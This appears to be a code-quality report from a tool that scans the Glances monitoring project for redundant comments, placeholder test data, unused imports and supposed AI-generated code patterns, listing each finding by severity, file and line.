LOWglances/plugins/sensors/__init__.py192CODE
LOWglances/plugins/sensors/__init__.py207CODE
LOWglances/plugins/sensors/__init__.py340CODE
LOWglances/plugins/gpu/cards/arm.py201CODE
LOWglances/plugins/gpu/cards/arm.py293CODE
LOWglances/plugins/plugin/model.py345CODE
LOWglances/plugins/plugin/model.py472CODE
LOWglances/plugins/plugin/model.py803CODE
LOWglances/plugins/plugin/model.py904CODE
LOWglances/plugins/plugin/model.py1306CODE
LOWglances/plugins/plugin/model.py1309CODE
LOWglances/plugins/npu/cards/intel.py94CODE
LOWglances/plugins/npu/cards/rockchip.py90CODE
LOWglances/plugins/npu/cards/amd.py98CODE
LOWglances/plugins/system/__init__.py82CODE
LOWglances/plugins/system/__init__.py182CODE
LOWglances/plugins/system/__init__.py228CODE
LOWglances/plugins/raid/__init__.py68CODE
LOWglances/plugins/percpu/__init__.py143CODE
LOWglances/plugins/folders/__init__.py98CODE
LOWglances/plugins/containers/engines/podman.py78CODE
LOWglances/plugins/containers/engines/lxd.py164CODE
LOWglances/plugins/ports/__init__.py169CODE
LOWglances/exports/export.py163CODE
LOWglances/exports/export.py263CODE
LOWglances/exports/export.py297CODE
LOWglances/exports/glances_clickhouse/__init__.py35CODE
LOWglances/exports/glances_clickhouse/__init__.py121CODE
LOWglances/exports/glances_clickhouse/__init__.py199CODE
LOWglances/exports/glances_timescaledb/__init__.py90CODE
LOWglances/exports/glances_mqtt/__init__.py111CODE
LOWglances/exports/glances_duckdb/__init__.py94CODE
LOWglances/outputs/glances_stdout_issue.py65CODE
LOWglances/outputs/glances_curses_browser.py148CODE
LOWglances/outputs/glances_stdout_csv.py50CODE
3 more matches not shown…
Redundant / Tautological Comments31 hits · 50 pts
SeverityFileLineSnippetContext
LOWtests/test_core.py341 # Check if number of processes in the list equal counterCOMMENT
LOWtests/test_core.py859 # Check if history_max_size=3 is OKCOMMENT
LOWtests/test_core.py999 # Set field to 0 (should be hidden)COMMENT
LOWtests/test_core.py1005 # Set field to 0 (should be hidden)COMMENT
LOWtests/test_core.py1011 # Set field to 1 (should not be hidden)COMMENT
LOWtests/test_export_prometheus.sh17# Check if we can access the Prometheus metrics endpointCOMMENT
LOWtests/test_restful.py90 # Check if result of first call is equal to second callCOMMENT
LOWglances/web_list.py98 # Add the server to the listCOMMENT
LOWglances/events_list.py158 # Check if the weight is > to the minimal threshold valueCOMMENT
LOWglances/events_list.py306 # Add the event to the listCOMMENT
LOWglances/logger.py86 # Check if a specific configuration is availableCOMMENT
LOWglances/processes.py810 # Check if a specific sort should be doneCOMMENT
LOWglances/servers_list_static.py76 # Add the server to the listCOMMENT
LOWglances/stats.py49 # Check if the attribute starts with 'get'COMMENT
LOWglances/folder_list.py85 # Add the item to the listCOMMENT
LOWglances/ports_list.py94 # Add the server to the listCOMMENT
LOWglances/plugins/sensors/__init__.py367 # Add sensor to the listCOMMENT
LOWglances/plugins/plugin/model.py1168 # Check if a shortname is definedCOMMENT
LOWglances/plugins/plugin/model.py1176 # Check if unit is defined and get the short unit char in the unit_sort dictCOMMENT
LOWglances/plugins/plugin/model.py1187 # Check if unit is defined and get the unit type unit_type dictCOMMENT
LOWglances/plugins/plugin/model.py1317 # Check if the field exist (avoid error on some OS where some fields are not available)COMMENT
LOWglances/plugins/folders/__init__.py81 # Check if the glances_folder instance is initCOMMENT
LOWglances/plugins/vms/engines/virsh.py22# Check if virsh binary existCOMMENT
LOWglances/plugins/vms/engines/multipass.py20# Check if multipass binary existCOMMENT
LOWglances/exports/export.py234 # Add the measurement to the listCOMMENT
LOWglances/exports/glances_graph/__init__.py52 # Check if output folder is writeableCOMMENT
LOWglances/outputs/glances_restful_api.py808 # Check if JWT is availableCOMMENT
LOWglances/outputs/glances_restful_api.py815 # Check if password authentication is enabledCOMMENT
LOWglances/outputs/glances_stdout_issue.py122 # Display the resultCOMMENT
LOWglances/outputs/glances_stdout_csv.py98 # Check if the plugin exist and is enableCOMMENT
LOWglances/outputs/glances_stdout.py57 # Check if the plugin exist and is enableCOMMENT
Fake / Example Data10 hits · 11 pts
SeverityFileLineSnippetContext
LOWtests/test_browser_tui.py379 # The password should remain as 'placeholder' (not replaced by saved hash)COMMENT
LOWtests/test_browser_tui.py300 'password': 'placeholder',CODE
LOWtests/test_browser_tui.py317 'password': 'placeholder',CODE
LOWtests/test_browser_tui.py374 'password': 'placeholder',CODE
LOWtests/test_browser_tui.py380 assert server['password'] == 'placeholder'CODE
LOWtests/test_browser_tui.py392 'password': 'placeholder',CODE
LOWtests/test_browser_tui.py398 assert server['password'] == 'placeholder'CODE
LOWdocs/_static/glances-flame.html344 */t=e.nmd(t),function(){var i,o="Expected a function",u="__lodash_hash_undefined__",a="__lodash_placeholder__",c=16,f=3COMMENT
LOWglances/outputs/static/public/glances.js22 */t=r.nmd(t),function(){var i,o="Expected a function",s="__lodash_hash_undefined__",a="__lodash_placeholder__",l=16,c=3COMMENT
LOWglances/outputs/static/public/browser.js16 */t=r.nmd(t),function(){var i,o="Expected a function",s="__lodash_hash_undefined__",a="__lodash_placeholder__",l=16,c=3COMMENT
Unused Imports11 hits · 11 pts
SeverityFileLineSnippetContext
LOWglances/globals.py19CODE
LOWglances/globals.py23CODE
LOWglances/globals.py29CODE
LOWglances/globals.py30CODE
LOWglances/globals.py30CODE
LOWglances/globals.py30CODE
LOWglances/globals.py34CODE
LOWglances/globals.py34CODE
LOWglances/globals.py35CODE
LOWglances/globals.py35CODE
LOWglances/globals.py36CODE
Docstring Block Structure1 hit · 5 pts
SeverityFileLineSnippetContext
HIGHglances/jwt_utils.py61Create a JWT access token for the given username. Args: username: The username to encode in the tokSTRING
AI Structural Patterns3 hits · 3 pts
SeverityFileLineSnippetContext
LOWtests/test_plugin_lxd.py46CODE
LOWglances/plugins/plugin/model.py803CODE
LOWglances/outputs/glances_bars.py27CODE
Slop Phrases2 hits · 3 pts
SeverityFileLineSnippetContext
LOWtests-data/issues/issue3341-NATS/pub.py18# To run this test script, make sure you have a NATS server running locally.COMMENT
LOWtests-data/issues/issue3341-NATS/sub.py32# To run this test script, make sure you have a NATS server running locally.COMMENT
AI Slop Vocabulary2 hits · 2 pts
SeverityFileLineSnippetContext
LOWglances/globals.py726 # Otherwise just add the current charCOMMENT
MEDIUMglances/exports/export.py255 """Return fields description in order to init stats in a server."""STRING
Modern Structural Boilerplate2 hits · 2 pts
SeverityFileLineSnippetContext
LOWglances/gpu_percent.py1__all__ = ["get_gpu_mem", "get_gpu_proc", "gpu_mem", "gpu_proc"]CODE
LOWglances/cpu_percent.py19__all__ = ["cpu_percent"]CODE